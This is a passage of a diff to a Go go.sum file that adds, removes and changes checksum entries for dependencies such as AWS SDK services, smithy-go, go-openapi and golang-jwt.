github.com/aws/aws-sdk-go-v2/service/route53resolver v1.42.6 h1:jS1uZQ2G4DumllnT342TwUjtzz44kiyeQ+QM2PZGc9o=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53resolver v1.42.6/go.mod h1:27vQn1Pqnz6I/J1vjp45O9Ig/c815ovG00355C9Y+00=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.97.3 h1:HwxWTbTrIHm5qY+CAEur0s/figc3qwvLWsNkF4RPToo=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.97.3/go.mod h1:uoA43SdFwacedBfSgfFSjjCvYe8aYBS7EnU5GZ/YKMM=
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.228.2 h1:96uJoMTjZ6WdXD0+bCjQib+U42++cYrf4fXbiu7VpEY=
|
||||
@@ -258,8 +234,6 @@ github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.41.0 h1:vL6rQXcGtFv9q/9eR
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.41.0/go.mod h1:QwEDLD+7EukuEUnbWtiNE8LhgvvmhjZoi4XAppYPtyc=
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.40.5 h1:nhPlRp9oCZOh1M/4zVn4pqguzEJ3Q3emnyS9k8sW8u8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.40.5/go.mod h1:dfVRuB5XudlLMY6PVMu4T2lmfXYMARapmdc2/cUN2Mw=
|
||||
github.com/aws/aws-sdk-go-v2/service/signer v1.32.6 h1:ccmmr4gLKThEHgZmcHQzIf9NR/wisat7M/JIA4M04Uw=
|
||||
github.com/aws/aws-sdk-go-v2/service/signer v1.32.6/go.mod h1:Um9nzST5C8IF1I96c1R16FAYCSFhZWSxKIl+jngpH3k=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.4 h1:HpI7aMmJ+mm1wkSHIA2t5EaFFv5EFYXePW30p1EIrbQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.4/go.mod h1:C5RdGMYGlfM0gYq/tifqgn4EbyX99V15P2V3R+VHbQU=
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.39.10 h1:wqErrLzV3iERQ7dbZbKQS0gOM6ngxZtmPwKyRGn+Krc=
|
||||
@@ -274,8 +248,8 @@ github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.12 h1:AHDr0DaHIAo8c9t1emrzAlV
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.12/go.mod h1:GQ73XawFFiWxyWXMHWfhiomvP3tXtdNar/fi8z18sx0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.5 h1:SciGFVNZ4mHdm7gpD1dgZYnCuVdX1s+lFTg4+4DOy70=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.5/go.mod h1:iW40X4QBmUxdP+fZNOpfmkdMZqsovezbAeO+Ubiv2pk=
|
||||
github.com/aws/smithy-go v1.25.0 h1:Sz/XJ64rwuiKtB6j98nDIPyYrV1nVNJ4YU74gttcl5U=
|
||||
github.com/aws/smithy-go v1.25.0/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc=
|
||||
github.com/aws/smithy-go v1.24.2 h1:FzA3bu/nt/vDvmnkg+R8Xl46gmzEDam6mZ1hzmwXFng=
|
||||
github.com/aws/smithy-go v1.24.2/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc=
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
|
||||
github.com/aymanbagabas/go-udiff v0.2.0 h1:TK0fH4MteXUDspT88n8CKzvK0X9O2xu9yQjWpi6yML8=
|
||||
@@ -314,7 +288,6 @@ github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGX
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
|
||||
@@ -323,8 +296,8 @@ github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi
|
||||
github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
|
||||
github.com/dominikbraun/graph v0.23.0 h1:TdZB4pPqCLFxYhdyMFb1TBdFxp8XLcJfTTBQucVPgCo=
|
||||
github.com/dominikbraun/graph v0.23.0/go.mod h1:yOjYyogZLY1LSG9E33JWZJiq5k83Qy2C6POAuiViluc=
|
||||
github.com/emicklei/go-restful/v3 v3.12.2 h1:DhwDP0vY3k8ZzE0RunuJy8GhNpPL6zqLkDf9B/a0/xU=
|
||||
github.com/emicklei/go-restful/v3 v3.12.2/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -343,8 +316,6 @@ github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg=
|
||||
github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U=
|
||||
github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM=
|
||||
github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ=
|
||||
github.com/go-jose/go-jose/v4 v4.1.4 h1:moDMcTHmvE6Groj34emNPLs/qtYXRVcd6S7NHbHz3kA=
|
||||
github.com/go-jose/go-jose/v4 v4.1.4/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
@@ -354,20 +325,10 @@ github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-openapi/errors v0.22.5 h1:Yfv4O/PRYpNF3BNmVkEizcHb3uLVVsrDt3LNdgAKRY4=
|
||||
github.com/go-openapi/errors v0.22.5/go.mod h1:z9S8ASTUqx7+CP1Q8dD8ewGH/1JWFFLX/2PmAYNQLgk=
|
||||
github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs=
|
||||
github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ=
|
||||
github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY=
|
||||
github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE=
|
||||
github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k=
|
||||
github.com/go-openapi/strfmt v0.25.0 h1:7R0RX7mbKLa9EYCTHRcCuIPcaqlyQiWNPTXwClK0saQ=
|
||||
github.com/go-openapi/strfmt v0.25.0/go.mod h1:nNXct7OzbwrMY9+5tLX4I21pzcmE6ccMGXl3jFdPfn8=
|
||||
github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14=
|
||||
github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE=
|
||||
github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ=
|
||||
github.com/go-openapi/testify/v2 v2.0.2 h1:X999g3jeLcoY8qctY/c/Z8iBHTbwLz7R2WXd6Ub6wls=
|
||||
github.com/go-openapi/testify/v2 v2.0.2/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16pjwMkYkP4Ywn54=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||
@@ -377,8 +338,8 @@ github.com/golang-jwt/jwt/v4 v4.2.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzw
|
||||
github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
|
||||
@@ -397,8 +358,6 @@ github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek
|
||||
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||
github.com/google/flatbuffers v25.9.23+incompatible h1:rGZKv+wOb6QPzIdkM2KxhBZCDrA0DeN6DNmRDrqIsQU=
|
||||
github.com/google/flatbuffers v25.9.23+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8=
|
||||
github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo=
|
||||
github.com/google/gnostic-models v0.7.0/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
@@ -407,11 +366,10 @@ github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
|
||||
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc=
|
||||
github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0=
|
||||
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8=
|
||||
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
|
||||
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
@@ -421,25 +379,20 @@ github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAV
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.3.7/go.mod h1:MkHOF77EYAE7qfSuSS9PU6g4Nt4e11cnsDUowfwewLA=
|
||||
github.com/googleapis/gax-go/v2 v2.15.0 h1:SyjDc1mGgZU5LncH8gimWo9lW1DtIfPibOG81vgd/bo=
|
||||
github.com/googleapis/gax-go/v2 v2.15.0/go.mod h1:zVVkkxAQHa1RQpg9z2AUCMnKhi0Qld9rcmyfL1OZhoc=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible h1:CGs8AVhEKg/n9YbUenWmNStRW2PHJzaeDodcfvRAbIo=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible/go.mod h1:XemHduiw8R651AF9Pt4FwCTKeG3oo7hrHJAoznj9nag=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/keybase/go-keychain v0.0.1 h1:way+bWYa6lDppZoZcgMbYsvC7GxljxrskdNInRtuthU=
|
||||
github.com/keybase/go-keychain v0.0.1/go.mod h1:PdEILRW3i9D8JcdM+FmY6RwkHGnhHxXwkPPMeUgOK1k=
|
||||
github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk=
|
||||
github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
@@ -448,8 +401,6 @@ github.com/kyokomi/emoji v2.2.4+incompatible h1:np0woGKwx9LiHAQmwZx79Oc0rHpNw3o+
|
||||
github.com/kyokomi/emoji v2.2.4+incompatible/go.mod h1:mZ6aGCD7yk8j6QY6KICwnZ2pxoszVseX1DNoGtU2tBA=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
|
||||
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
@@ -460,28 +411,18 @@ github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byF
|
||||
github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee h1:W5t00kpgFdJifH4BDsTlE89Zl93FEloxaWZfGcifgq8=
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo=
|
||||
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
|
||||
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
|
||||
github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc=
|
||||
github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
|
||||
github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=
|
||||
github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||
github.com/neo4j/neo4j-go-driver/v5 v5.28.4 h1:7toxehVcYkZbyxV4W3Ib9VcnyRBQPucF+VwNNmtSXi4=
|
||||
github.com/neo4j/neo4j-go-driver/v5 v5.28.4/go.mod h1:Vff8OwT7QpLm7L2yYr85XNWe9Rbqlbeb9asNXJTHO4k=
|
||||
github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=
|
||||
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
|
||||
github.com/onsi/ginkgo/v2 v2.27.2 h1:LzwLj0b89qtIy6SSASkzlNvX6WktqurSHwkk2ipF/Ns=
|
||||
github.com/onsi/ginkgo/v2 v2.27.2/go.mod h1:ArE1D/XhNXBXCBkKOLkbsb2c81dQHCRcF5zwn/ykDRo=
|
||||
github.com/onsi/gomega v1.38.2 h1:eZCjf2xjZAqe+LeWvKb5weQ+NcPwX84kqJ0cZNxok2A=
|
||||
github.com/onsi/gomega v1.38.2/go.mod h1:W2MJcYxRGV63b418Ai34Ud0hEdTVXq9NW9+Sx6uXf3k=
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible h1:HRMgzkcYKYpi3C8ajMPV8OFXaaRUnok+kx1WdO15EQc=
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible/go.mod h1:3Qf8kWWT7OJRJbdiICTKqZju1ZixQ/KpMGzzAfe6+WQ=
|
||||
github.com/pierrec/lz4/v4 v4.1.22 h1:cKFw6uJDK+/gfw5BcDL0JL5aBsAFdsIT18eRtLj7VIU=
|
||||
@@ -494,6 +435,8 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
|
||||
@@ -513,8 +456,6 @@ github.com/spiffe/go-spiffe/v2 v2.6.0/go.mod h1:gm2SeUoMZEtpnzPNs2Csc0D/gX33k1xI
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY=
|
||||
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
